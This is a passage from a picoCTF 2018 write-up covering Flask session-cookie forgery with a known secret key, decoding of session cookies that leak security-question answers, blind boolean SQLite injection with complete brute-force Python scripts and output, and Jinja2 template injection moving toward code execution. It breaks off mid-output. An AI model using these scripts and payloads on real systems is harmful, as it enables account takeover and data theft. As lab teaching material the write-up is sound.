Looking at the Flask source, we see a interesting class called SecureCookieSessionInterface which inherits SessionInterface and uses URLSafeTimedSerializer from itsdangerous. This class has 3 functions get_signing_serializer , open_session and save_session . The open_session and save_session doesn’t interest us because it’s not really related to the main signing stuff. Function get_signing_serializer seems to check for a secret_key and if there was one, it returns URLSafeTimedSerializer(secret_key, salt, serializer, signer_kwargs) . This means it takes in the secret key, salt and other parameters and spits out an object, which we can use to load and dump the signed data. Now let’s write some code to do the same.

First let’s import the things we need

from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer import sys # for commandline arguments

Next let’s create a class and inhert SecureCookieSessionInterface since it has everything we need.

class CookieSessionInterface ( SecureCookieSessionInterface ): def __init__ ( self , secret_key ): self . secret_key = secret_key if not secret_key : return None signer_kwargs = dict ( key_derivation = self . key_derivation , digest_method = self . digest_method ) self . sign_serializer = URLSafeTimedSerializer ( secret_key , salt = self . salt , serializer = self . serializer , signer_kwargs = signer_kwargs )

This code is exactly the same as the original, I’ve just changed the code a little bit, so that when we create a object from this class, we get a sign serializer, so from then we can use the secret and the serializer to encode and decode the data. Next let’s create encoder and decoder functions.

def decode ( self , cookie ): return self . sign_serializer . loads ( cookie ) def encode ( self , cookie ): return self . sign_serializer . dumps ( cookie )

They are pretty simple, they just use the serializer with loads to decode and dumps to encode the cookie values. Now to finish things, we add some print statements and call the appropriate functions.

if __name__ == '__main__' : secret = '73e1f2c96e364f0cc3371c31927ed156' # from challenge description cookie = sys . argv [ 1 ] # get our cookie through commandline arguments csi = CookieSessionInterface ( secret ) decoded_cookie = csi . decode ( cookie ) # decode the cookie print "* ORIGINAL COOKIE:" , decoded_cookie decoded_cookie [ 'user_id' ] = u"1" # modify the user_id to 1 print "* MODIFIED COOKIE" , decoded_cookie new_cookie = csi . encode ( decoded_cookie ) # encode it back print "+ MODIFIED SECRET ENCODED COOKIE:" , new_cookie

Final code

from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer import sys class CookieSessionInterface ( SecureCookieSessionInterface ): def __init__ ( self , secret_key ): self . secret_key = secret_key if not secret_key : return None signer_kwargs = dict ( key_derivation = self . key_derivation , digest_method = self . digest_method ) self . sign_serializer = URLSafeTimedSerializer ( secret_key , salt = self . salt , serializer = self . serializer , signer_kwargs = signer_kwargs ) def decode ( self , cookie ): return self . sign_serializer . loads ( cookie ) def encode ( self , cookie ): return self . sign_serializer . dumps ( cookie ) if __name__ == '__main__' : secret = '73e1f2c96e364f0cc3371c31927ed156' cookie = sys . argv [ 1 ] csi = CookieSessionInterface ( secret ) decoded_cookie = csi . decode ( cookie ) print "* ORIGINAL COOKIE:" , decoded_cookie decoded_cookie [ 'user_id' ] = u"1" print "* MODIFIED COOKIE" , decoded_cookie new_cookie = csi . encode ( decoded_cookie ) print "+ MODIFIED SECRET ENCODED COOKIE:" , new_cookie

now let’s test it!

root@kali:~/Documents/pico-ctf-2018/flask2# python manageFlaskSession.py .eJwlj0FuwzAMBP-icw4kRdOiP2OIFIkEAVrAdk5F_x61uc_O7v6UPY8472W7jlfcyv4YZSvhpDokzVhwWFb2moYrrZneo0EHTNGxOExEnVpVG6LIRNx8UbXInlqliWa0jmkE2mDahpEBpwuvzEvWrn8F3qWB9ohpBSm34ueR-_X9jK-5h2GdYEMZSwAk_vsFkcQr1cQeQBZBM_c64_ickPL7BltTQBw.Dqh92g.6_c7VbTZRZ3pMq5C43ZlPLK5hoI * ORIGINAL COOKIE: { u 'csrf_token' : u '407f3a816d5e00f199bef61126c323f1ae02bee2' , u '_fresh' : True, u 'user_id' : u '6' , u '_id' : u 'ec299d6fbb461dbf34c3fb1727ffcae80a01f69d5c0bb49c2839bd69142248c599befaf936869fe8a1fb2098061ddb2b04fc647445f3a9dbf3ca6809aee69d06' } * MODIFIED COOKIE { u 'csrf_token' : u '407f3a816d5e00f199bef61126c323f1ae02bee2' , u '_fresh' : True, u 'user_id' : u '1' , u '_id' : u 'ec299d6fbb461dbf34c3fb1727ffcae80a01f69d5c0bb49c2839bd69142248c599befaf936869fe8a1fb2098061ddb2b04fc647445f3a9dbf3ca6809aee69d06' } + MODIFIED SECRET ENCODED COOKIE: .eJwlj0FuwzAMBP-icw4kRdOiP2OIFIkEAVrAdk5F_x61uc_O7v6UPY8472W7jlfcyv4YZSvhpDokzVhwWFb2moYrrZneo0EHTNGxOExEnVpVG6LIRNx8UbXInlqliWa0jmkE2mDahpEBpwuvzEvWrn8F3qWB9ohpBSm34ueR-_X9jK-5h2GdYEMZSwAk_vsFkcQr1cQeQBZBM_c64_icwPL7BltEQBc.DqiH9w._3t3T0bfGOtQavJNeDs-smtOQFU

The MODIFIED SECRET ENCODED COOKIE is our modified cookie, now let’s test it by replacing the cookie in the browser.

Request

GET /admin HTTP / 1.1 Host : 2018shell1.picoctf.com:12261 Cache-Control : max-age=0 Upgrade-Insecure-Requests : 1 User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer : http://2018shell1.picoctf.com:12261/index Accept-Encoding : gzip, deflate Accept-Language : en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7 Cookie : _ga=GA1.2.1783269311.1539716185; _gid=GA1.2.1590262309.1539716185; cookie=qVlMUD588b0qtj9q9nYE1kx/pTKfI3RrWG2Rg97QPoLQLjnuWZBHfe11AlNP0+kmLTm7CNZD00SKSLq8c9ZHiMJ4ocB9sd00Xc3oKyUgV+E=; session=.eJwlj0FuwzAMBP-icw4kRdOiP2OIFIkEAVrAdk5F_x61uc_O7v6UPY8472W7jlfcyv4YZSvhpDokzVhwWFb2moYrrZneo0EHTNGxOExEnVpVG6LIRNx8UbXInlqliWa0jmkE2mDahpEBpwuvzEvWrn8F3qWB9ohpBSm34ueR-_X9jK-5h2GdYEMZSwAk_vsFkcQr1cQeQBZBM_c64_icwPL7BltEQBc.DqiH9w._3t3T0bfGOtQavJNeDs-smtOQFU Connection : close

Here session in Cookie header is the modified cookie, which has user_id set to 1

Response

HTTP / 1.1 200 OK Content-Type : text/html; charset=utf-8 Content-Length : 4059 Vary : Cookie ... <p> Your flag is: picoCTF{1_id_to_rule_them_all_8470d1c9} </p> ...

There we go, our flag is picoCTF{1_id_to_rule_them_all_8470d1c9} .

Help Me Reset 2

Challenge description

There is a website running at http://2018shell1.picoctf.com:7977. We need to get into any user for a flag!

Points: 600

Dir busting on the site gives us a endpoint /profile , this path seems to have access control issues, which gave us the flag directly just by visiting. This wasn’t fun, let’s see if there was any other way to solve this challenge.

I looked into the html source, where I found this

<!-- Proudly maintained by pennington -->

pennington looks like a username, so I went to forgot password and entered this username. This request gave me a interesting cookie. This was a session cookie, This web app seems to give us a session cookie if the username was valid, strange. After this request I got some security questions to answer. If we answer all of them, we might login and get the flag. There was a session cookie that was sent to us if the username was valid, let’s decode that.

As you know from the above challenge, Flask uses itsdangerous to handle the signing and stuff. Let’s see dive into the source. At line 893, we have a class called URLSafeSerializerMixin , this class has a function called load_payload , which is basically decoding the payload from the session cookie. The decoding happens like this

def load_payload ( self , payload , * args , ** kwargs ): decompress = False if payload . startswith ( b "." ): payload = payload [ 1 :] decompress = True try : json = base64_decode ( payload ) except Exception as e : raise BadPayload ( "Could not base64 decode the payload because of " "an exception" , original_error = e , ) if decompress : try : json = zlib . decompress ( json ) except Exception as e : raise BadPayload ( "Could not zlib decompress the payload before " "decoding the payload" , original_error = e , ) return super ( URLSafeSerializerMixin , self ) . load_payload ( json , * args , ** kwargs )

As we can see the payload is first base64 decoded and then decompressed using zlib. Let’s write the code which does the same

import base64 , zlib session_cookie = '.eJw9jc0KwjAQhF9F9pxDkfpDX0WLbNM1iaa7ZZMgUvruJhdPMwzfzGxgiypxhoFLjAZWSSlMkWC4gZUoCgY8qVR5isxVLOqCb4LRgAbn88NKaf3OQEmkjxkzwrDBIbeNlZgDuyxcq6dz13fdtT9ewFRcFNlRzSfMCzbAfwvPGJrDZSrqqP2_xHMSvjOMu4GPCrv_6f4DZ4A_8w.DqiZ3g.WKj7WQ_wZdzKgy8-UZrhoN8qkeY' data = session_cookie . split ( '.' )[ 1 ] # extract the payload data += b '=' * (( 4 - len ( data ) % 4 )) # missing padding fix data = base64 . urlsafe_b64decode ( data ) # base64 decode data = zlib . decompress ( data ) # zlib decompress print data

Here session_cookie is the session cookie we got after we submitted a valid username in forgot password page.

root@kali:~/Documents/pico-ctf-2018/helpmereset2# python decode_flask_session.py { "current" :null, "possible" :[ "color" , "hero" , "food" , "carmake" ] , "right_count" :0, "user_data" : { " t" :[ "pennington" , "5604008427" ,0, "orange" , "batman" , "hyundai" , "hamburger" , "johnson

" ]} , "wrong_count" :0 }

Nice, we get all the answers to the questions, submitting all the right answers will give us the option to reset the password and after logging in, we get the flag picoCTF{i_thought_i_could_remember_those_34745314} . The flag is available at http://2018shell1.picoctf.com:7977/profile , which we’ve seen, has access control issues, just by visiting this gives use the flag too, no credentials needed.

A Simple Question

Challenge description

There is a website running at http://2018shell1.picoctf.com:32635. Try to see if you can answer its question.

Points: 870

Visiting the link provided in the description gives us a page which has one input field and the label says “What is the answer?”, so I’m guessing we need to submit the correct answer or bypass this check to get the flag. I tried for SQL injection with a single quote, and it did error out.

SQL query: SELECT * FROM answers WHERE answer=''' Warning: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: "'''" in /problems/a-simple-question_2_7cdb92e4585fe82f01b576698a830c1e/webroot/answer2.php on line 15 Fatal error: Uncaught Error: Call to a member function fetchArray() on boolean in /problems/a-simple-question_2_7cdb92e4585fe82f01b576698a830c1e/webroot/answer2.php:17 Stack trace: #0 {main} thrown in /problems/a-simple-question_2_7cdb92e4585fe82f01b576698a830c1e/webroot/answer2.php on line 17

Okay this is a SQL injection and it’s SQLite3. But why 870 points? because it’s blind SQLi. If you use a simple payload like ' or 2=2 -- , you’ll get a message

SQL query: SELECT * FROM answers WHERE answer='' or 2=2 -- ' You are so close.

And for ' or 2=3 -- , we get

SQL query: SELECT * FROM answers WHERE answer='' or 2=3 -- ' Wrong.

So this is a blind boolean SQL injection.

I know there’s a debug hidden parameter in the html form, setting it to 1 will give me how the query looks like, and this query would have the table and the column name, but I didn’t wanted to use this debug feature so that I could make this challenge a bit harder.

First let’s try to extract the table name from the database blindly. Since we know that if our query was successful we get “You are soo close.” and if it failed we’d get “wrong”, we can use this to do a blind boolean SQL injection. For this I’ll be using python and a very popular module called requests to make http requests.

To extract the table name we can use union all select on sqlite_master and get the table names. We will use bruteforcing of characters with the LIKE clause to get the table name. The query looks something like this.

whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like 'a%' COLLATE NOCASE --

Here, we do the bruteforcing like ‘a%’, ‘b%’, ‘c%’ and so on. ‘%’ is used for wildcard matching. To automate this I wrote a quick python script.

Enumerate tables

import requests import string url = "http://2018shell1.picoctf.com:32635/answer2.php" lc = string . ascii_lowercase uc = string . ascii_uppercase nm = string . digits sy = ".-_" all = lc + uc + nm + sy # 'all' has [A-Z, a-z, 0-9, '.', '-'. '_'] table_name = "" got_it = True print "[URL]" , url # bruteforce over all characters while got_it : for i in all : got_it = False payload = "whatever' union all select tbl_name FROM sqlite_master WHERE type='table' and tbl_name like ' % s % s %% ' COLLATE NOCASE -- " % ( table_name , i ) print "(*)" , payload data = { "answer" : payload , "debug" : "1" } response = requests . post ( url , data = data ) if "You are so close" in response . text : table_name += i print "(+)" , "=" * 15 , i , "=" * 15 got_it = True break if table_name : print "(+)" , "+" * 15 , table_name , "+" * 15

Output

root@kali:~/Documents/pico-ctf-2018/simple-question# python table.py [ URL] http://2018shell1.picoctf.com:32635/answer2.php ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' a% ' COLLATE NOCASE -- (+) =============== a =============== (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'aa%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' ab% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'ac%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' ad% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'ae%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' af% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'ag%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' ah% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'ai%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' aj% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'ak%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' al% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'am%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' an% ' COLLATE NOCASE -- (+) =============== n =============== (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'ana%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' anb% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'anc%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' and% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'ane%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' anf% ' COLLATE NOCASE -- ..... TRUNCATED ..... (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'answers6%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' answers7% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'answers8%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' answers9% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'answers.%' COLLATE NOCASE -- ( * ) whatever ' union all select tbl_name FROM sqlite_master WHERE type=' table ' and tbl_name like ' answers-% ' COLLATE NOCASE -- (*) whatever' union all select tbl_name FROM sqlite_master WHERE type = 'table' and tbl_name like 'answers_%' COLLATE NOCASE -- ( + ) +++++++++++++++ answers +++++++++++++++

There we go, answers is our table name. Now let’s find the column name.

The code to enumerate column name is similar, more details on sqlite injection exploitdb whitepapers. I wrote a similar script and changed the query. The expoitdb whitepaper on SQLite covers how to enumerate the column names, but the query is a bit complex, but has the same idea.

From this I got to know that the column name was answer . Sweet, now we can do some table data dumping to get the answer. Again the code is redundant, but I’ll show this one because this is the last part of the process.

import requests import string url = "http://2018shell1.picoctf.com:32635/answer2.php" lc = string . ascii_lowercase uc = string . ascii_uppercase nm = string . digits sy = ".-_" all = uc + lc + nm + sy all = [ chr ( i ) for i in range ( 0x20 , 0x7e + 1 )] all . remove ( ' % ' ) secret = "" got_it = True while got_it : for i in all : got_it = False payload = "whatever' or (select hex(substr(answer, % s,1)) from answers limit 1 offset 0) = hex(' % s') -- " % ( str ( len ( secret ) + 1 ), i ) print "(*)" , payload data = { "answer" : payload , "debug" : "1" } response = requests . post ( url , data = data ) if "You are so close" in response . text : secret += i print "(+)" , "=" * 15 , i , "=" * 15 got_it = True break if secret : print "(+)" , "+" * 15 , secret , "+" * 15

The code is almost the same except the payload. Here the query checks for ascii values instead of using a LIKE clause, because LIKE is case insensitive, to enable case sentiveness I had to do it in some different way which I had problems with. So I simply checked for ascii values and had the answer dumped out in the end.

root@kali:~/Documents/pico-ctf-2018/simple-question# python act.py ( * ) whatever ' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex(' ') -- (*) whatever' or ( select hex ( substr ( answer,1,1 )) from answers limit 1 offset 0 ) = hex ( '!' ) -- ( * ) whatever ' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex(' "') -- (*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex('#') -- (*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex(' $' ) -- (*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex('&') -- (*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex(''') -- (*) whatever' or (select hex(substr(answer,1,1)) from answers limit 1 offset 0) = hex('(') -- ... TRUNCATED ... (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('u') -- (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('v') -- (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('w') -- (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('x') -- (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('y') -- (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('z') -- (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('{') -- (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('|') -- (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('}') -- (*) whatever' or (select hex(substr(answer,15,1)) from answers limit 1 offset 0) = hex('~') -- (+) +++++++++++++++ 41AndSixSixths +++++++++++++++

There we have it, the answer is 41AndSixSixths . Submitting the answer we get out flag picoCTF{qu3stions_ar3_h4rd_8f84b784}

Flaskcards and Freedom

Challenge description

There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell1.picoctf.com:56944

Points: 900

This challenge is similar to Flaskcards which was a basic Server Side Template Injection(SSTI). In this challenge, we need to escalate the attack to gain Remote Code Execution(RCE) and then read the flag from a file. The basic overview of this challenge looks like this

[Server Side Template Injection] => [Bypass Python Sandbox] => [Gain RCE]

Let’s confirm this is infact jinja2 SSTI

{{ 7 * '7' }}

and the response had

Question:7777777 Answer:7777777

Alrighty onto bypassing the python sandbox. Since we are in a locked down environment(not really XD) we need to somehow get the code execution. Before jumping into anything else let’s see what all do we have access to. We have access to basic types and some in-use variables. In python everything is an object, this means your lists, string and others are all objects. Now the idea to get code execution is simple, we want to find a class that uses either subprocess or os module, with these modules we can execute shell commands easily. Now let’s get the handle to a specific class, I’m going to use lists, you can use strings or whatever. To get the handle to a class from an object we can use one of the special methods __class__ . We’ll try this locally and then send it to the flask web app.

There are other simpler ways to solving this challenge which I’ll discuss in the end, but I’m showing you the way I initially solved it which doesn’t depends on flask related things.

>>> [] . __class__ < type 'list' >

Now let’s see what are it’s subclasses

>>> [] . __class__ . __subclasses__ () []

Hmm, nothing, now let’s look into MRO.

MRO stands for Method Resolution Order, this is basically a class search path used by python to search for the right method to use in classes having multi-level inheritance.

>>> [] . __class__ . __mro__ ( < type 'list' > , < type 'object' > )

When we tried to list subclasses using __subclasses__() , we got nothing because the ‘list’ class, didn’t have anything inherited, but when we tried to view the MRO, we see that there’s a generic object which is also the base class of all objects in python. This basically means if we search subclasses in that object , we’ll find all methods currently available to us. Let’s try looking into it.

>>> [] . __class__ . __mro__ [ 1 ] . __subclasses__ () # same as [].__class__.__base__.__subclasses__() [ < type 'type' > , < type 'weakref' > , < type 'weakcallableproxy' > , < type 'weakproxy' > , < type 'int' > , < type 'basestring' > , < type 'bytearray' > , < type 'list' > , < type 'NoneType' > , < type 'NotImplementedType' > , < type 'traceback' > , < type 'super' > , < type 'xrange' > , < type 'dict' > , < type 'set' > , < type 'slice' > , < type 'staticmethod' > , < type 'complex' > , < type 'float' > , < type 'buffer' > , < type 'long' > , < type 'frozenset' > , < type 'property' > , < type 'memoryview' > , < type 'tuple' > , < type 'enumerate' > , < type 'reversed' > , < type 'code' > , < type 'frame' > , < type 'builtin_function_or_method' > , < type 'instancemethod' > , < type 'function' > , < type 'classobj' > , < type 'dictproxy' > , < type 'generator' > , < type 'getset_descriptor' > , < type 'wrapper_descriptor' > , < type 'instance' > , < type 'ellipsis' > , < type 'member_descriptor' > , < type 'file' > , < type 'PyCapsule' > , < type 'cell' > , < type 'callable-iterator' > , < type 'iterator' > , < type 'sys.long_info' > , < type 'sys.float_info' > , < type 'EncodingMap' > , < type 'fieldnameiterator' > , < type 'formatteriterator' > , < type 'sys.version_info' > , < type 'sys.flags' > , < type 'exceptions.BaseException' > , < type 'module' > , < type 'imp.NullImporter' > , < type 'zipimport.zipimporter' > , < type 'posix.stat_result' > , < type 'posix.statvfs_result' > , < class ' warnings . WarningMessage '>, <class ' warnings . catch_warnings '>, <class ' _weakrefset . _IterationGuard '>, <class ' _weakrefset . WeakSet '>, <class ' _abcoll . Hashable '>, <type ' classmethod '>, <class ' _abcoll . Iterable '>, <class ' _abcoll . Sized '>, <class ' _abcoll . Container '>, <class ' _abcoll . Callable '>, <type ' dict_keys '>, <type ' dict_items '>, <type ' dict_values '>, <class ' site . _Printer '>, <class ' site . _Helper '>, <type ' _sre . SRE_Pattern '>, <type ' _sre . SRE_Match '>, <type ' _sre . SRE_Scanner '>, <class ' site . Quitter '>, <class ' codecs . IncrementalEncoder '>, <class ' codecs . IncrementalDecoder '>]

Alright, we have some stuff, but remember this is our local machine, we need to run this on the web server and get the subclasses list. Let’s do that

{{ [] . __class__ . __mro__ [ 1 ] . __subclasses__ () }}

Question:[<class 'itertools.compress'>, <class 'formatteriterator'>, <class 'apt_pkg.ActionGroup'>, <class 'flask_wtf.csrf.CSRFProtect'>, <class 'sqlalchemy.sql.naming.ConventionDict'>, <class 'sqlalchemy.util.langhelpers.PluginLoader'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.wrappers.ResponseStream'>, <class 'jinja2.utils.LRUCache'>, <class 'operator.methodcaller'>, <class 'code'>, <class 'sqlalchemy.ext.declarative.api.DeferredReflection'>, <class 'str'>, <enum 'Enum'>, <class 'apt_pkg.HashString'>, <class 'collections._Link'>, <class 'plistlib._DumbXMLWriter'>, <class 'six.temporary_class'>, <class 'decimal.SignalDictMixin'>, <class 'type'>, <class 'ipaddress._IPv6Constants'>, <class 'pickle._Framer'>, <class 'xml.dom.xmlbuilder.Options'>, <class 'contextlib.ExitStack'>, <class 'pkgutil.ImpImporter'>, <class 'pkg_resources.extern.VendorImporter'>, <class 'sqlalchemy.orm.util.AliasedClass'>, <class 'wtforms.fields.core.Flags'>, <class 'apt_pkg.PackageFile'>, <class 'stderrprinter'>, <class 'types.SimpleNamespace'>, <class 'apt_pkg.Configuration'>, <class 'method'>, <class 'sqlalchemy.orm.unitofwork.PostSortRec'>, <class 'wtforms.widgets.core.Option'>, <class 'sqlite3.Cache'>, <class 'sqlalchemy.util.langhelpers.hybridproperty'>, <class 'sqlite3.Cursor'>, <class 'sqlalchemy.event.base._JoinedDispatcher'>, <class 'pkg_resources.NullProvider'>, <class 'codecs.StreamReaderWriter'>, <class 'managedbuffer'>, <class 'NoneType'>, <class 'flask_bootstrap.Bootstrap'>, <class 'jinja2.utils.Namespace'>, <class '_frozen_importlib._ImportLockContext'>, <class 'sqlalchemy.sql.sqltypes.Indexable'>, <class '_frozen_importlib._installed_safely'>, <class 'sqlalchemy.sql.compiler.Compiled'>, <class '_bz2.BZ2Decompressor'>, <class 'odict_iterator'>, <class 'xml.dom.minidom.NamedNodeMap'>, <class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'werkzeug.wrappers.StreamOnlyMixin'>, <class 'apt.progress.base.OpProgress'>, <class 'functools.partialmethod'>, <class 'inspect.BlockFinder'>, <class 'dict_keys'>, <class 'uwsgi._Input'>, <class 'uwsgi.SymbolsZipImporter'>, <class 'wtforms.widgets.core.ListWidget'>, <class 'multiprocessing.connection.ConnectionWrapper'>, <class 'pickle._Unpickler'>, <class 'jinja2.runtime.Undefined'>, <class 'apt_pkg.ProblemResolver'>, <class 'pkg_resources._vendor.pyparsing.OnlyOnce'>, <class 'flask_wtf.recaptcha.validators.Recaptcha'>, <class '_hashlib.HASH'>, <class 'numbers.Number'>, <class 'jinja2.nodes.Node'>, <class '_ctypes.CField'>, <class 'weakref.finalize'>, <class 'inspect._void'>, <class 'urllib.request.OpenerDirector'>, <class '_frozen_importlib.FrozenImporter'>, <class 'pkg_resources._vendor.pyparsing._ParseResultsWithOffset'>, <class 'datetime.timedelta'>, <class 'cell'>, <class 'plistlib._BinaryPlistParser'>, <class 'xml.dom.xmlbuilder.DocumentLS'>, <class 'pkg_resources.IMetadataProvider'>, <class 'dis.Bytecode'>, <class 'uwsgi.SymbolsImporter'>, <class 'CArgObject'>, <class 'concurrent.futures.process._ExceptionWithTraceback'>, <class '_sre.SRE_Scanner'>, <class 'inspect.BoundArguments'>, <class 'sqlalchemy.event.base._UnpickleDispatch'>, <class 'apt_pkg.Version'>, <class 'tempfile.TemporaryDirectory'>, <class 'sqlalchemy.util.langhelpers.symbol'>, <class 'sqlalchemy.log.InstanceLogger'>, <class 'sqlalchemy.orm.attributes.AttributeImpl'>, <class 'wtforms.validators.IPAddress'>, <class 'apt_pkg.AcquireItem'>, <class 'collections.abc.Sized'>, <class 'getset_descriptor'>, <class 'member_descriptor'>, <class 'flask_sqlalchemy.SQLAlchemy'>, <class '_json.Encoder'>, <class 'warnings.WarningMessage'>, <class 'range'>, <class 'wtforms.widgets.core.TextArea'>, <class 'click.formatting.HelpFormatter'>, <class 'sqlalchemy.sql.base.Generative'>, <class 'sqlalchemy.engine.interfaces.Dialect'>, <class 'apt.cache.Filter'>, <class '_pickle.PicklerMemoProxy'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'sqlalchemy.orm.session.SessionTransaction'>, <class 'xml.dom.xmlbuilder.DOMBuilder'>, <class 'werkzeug.wrappers.ETagRequestMixin'>, <class 'reprlib.Repr'>, <class 'jinja2.ext._CommentFinder'>, <class 'zipfile.LZMADecompressor'>, <class 'difflib.HtmlDiff'>, <class '_ast.AST'>, <class '_lzma.LZMACompressor'>, <class 'zlib.Compress'>, <class '_weakrefset._IterationGuard'>, <class 'sqlalchemy.orm.collections.CollectionAdapter'>, <class 'concurrent.futures._base.Executor'>, <class 'concurrent.futures._base._AcquireFutures'>, <class 'jinja2.environment.Environment'>, <class 'pkg_resources.WorkingSet'>, <class 'pkg_resources._vendor.six._SixMetaPathImporter'>, <class 'iterator'>, <class 'sqlalchemy.orm.strategies.LoadLazyAttribute'>, <class 'werkzeug.urls.Href'>, <class 'gzip._PaddedFile'>, <class 'apt_pkg.DepCache'>, <class 'apscheduler.util._Undefined'>, <class 'collections.abc.Callable'>, <class 'itertools.combinations_with_replacement'>, <class 'xml.dom.xmlbuilder.DOMImplementationLS'>, <class 'werkzeug.wrappers.BaseRequest'>, <class 'apt.cache.FilteredCache'>, <class 'sqlalchemy.engine.interfaces.ExceptionContext'>, <class 'xml.dom.xmlbuilder.DOMEntityResolver'>, <class 'unicodedata.UCD'>, <class 'click.parser.ParsingState'>, <class 'jinja2.bccache.Bucket'>, <class 'plistlib.Data'>, <class '__future__._Feature'>, <class '_frozen_importlib.ModuleSpec'>, <class 'ellipsis'>, <class 'apt_pkg.Acquire'>, <class 'email.header.Header'>, <class 'flask_bootstrap.ConditionalCDN'>, <class 'sqlalchemy.orm.unitofwork.UOWTransaction'>, <class 'difflib.Differ'>, <class 'codecs.IncrementalDecoder'>, <class 'logging.Formatter'>, <class 'wtforms.validators.NumberRange'>, <class 'multiprocessing.context.BaseContext'>, <class 'itertools.cycle'>, <class 'calendar.different_locale'>, <class 'sqlalchemy.orm.base.InspectionAttr'>, <class 'xml.dom.UserDataHandler'>, <class 'traceback.TracebackException'>, <class 'bytearray_iterator'>, <class 'apt_pkg.Description'>, <class 'click.parser.Argument'>, <class 'jinja2.debug.ProcessedTraceback'>, <class 'flask.cli.ScriptInfo'>, <class 'flask_login.login_manager.LoginManager'>, <class 'sqlalchemy.engine.interfaces.CreateEnginePlugin'>, <class 'sqlalchemy.util.langhelpers.safe_reraise'>, <class '_frozen_importlib._DummyModuleLock'>, <class 'zlib.Decompress'>, <class 'apt_pkg.IndexFile'>, <class 'module'>, <class 'property'>, <class 'sqlalchemy.orm.collections._SerializableAttrGetter'>, <class '_thread._localdummy'>, <class 'pkg_resources.extern.packaging.specifiers.BaseSpecifier'>, <class 'wtforms.csrf.core.CSRF'>, <class 'selectors.BaseSelector'>, <class 'BaseException'>, <class 'pprint._safe_key'>, <class 'apt.cache.ProblemResolver'>, <class 'flask.sessions.SessionInterface'>, <class 'apt.progress.base.CdromProgress'>, <class 'sqlalchemy.orm.session._SessionClassMethods'>, <class 'sqlalchemy.interfaces.ConnectionProxy'>, <class '_json.Scanner'>, <class 'flask_sqlalchemy._SessionSignalEvents'>, <class 'sqlalchemy.engine.interfaces.Connectable'>, <class 